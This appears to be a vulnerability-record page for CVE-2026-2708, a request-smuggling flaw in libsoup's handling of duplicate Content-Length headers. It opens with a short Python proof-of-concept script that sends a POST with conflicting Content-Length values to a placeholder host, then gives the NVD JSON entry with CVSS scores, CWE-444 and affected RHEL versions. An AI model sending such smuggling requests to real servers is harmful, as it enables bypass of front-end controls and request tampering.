CVE-2026-2708

import socket # Target configuration host = 'target.example.com' port = 80 # Constructing a malicious request with duplicate Content-Length headers # This exploits the lack of validation in libsoup payload = ( "POST / HTTP/1.1\r\n" "Host: {}\r\n" "Content-Length: 0\r\n" "Content-Length: 100\r\n" "\r\n" ).format(host) print("[+] Sending malicious request with duplicate Content-Length headers...") try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload.encode()) response = s.recv(4096) print("[+] Response received:") print(response.decode()) s.close() except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-2708", "sourceIdentifier": "[email protected]", "published": "2026-04-23T22:16:29.233", "lastModified": "2026-05-04T18:28:46.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A request smuggling vulnerability exists in libsoup's HTTP/1 header parsing logic. The soup_message_headers_append_common() function in libsoup/soup-message-headers.c unconditionally appends each header value without validating for duplicate or conflicting Content-Length fields. This allows an attacker to send HTTP requests containing multiple Content-Length headers with differing values."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-444"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnome:libsoup:-:*:*:*:*:*:*:*", "matchCriteriaId": "C5BAC4F4-3ACD-4F4D-920C-F920FD2C5472"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:6.0:*:*:*:*:*:*:*", "matchCriteriaId": "2F6AB192-9D7D-4A9A-8995-E53A9DE9EAFC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-2708", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2440743", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}, {"url": "https://gitlab.gnome.org/GNOME/libsoup/-/issues/500", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://gitlab.gnome.org/GNOME/libsoup/-/merge_requests/513", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}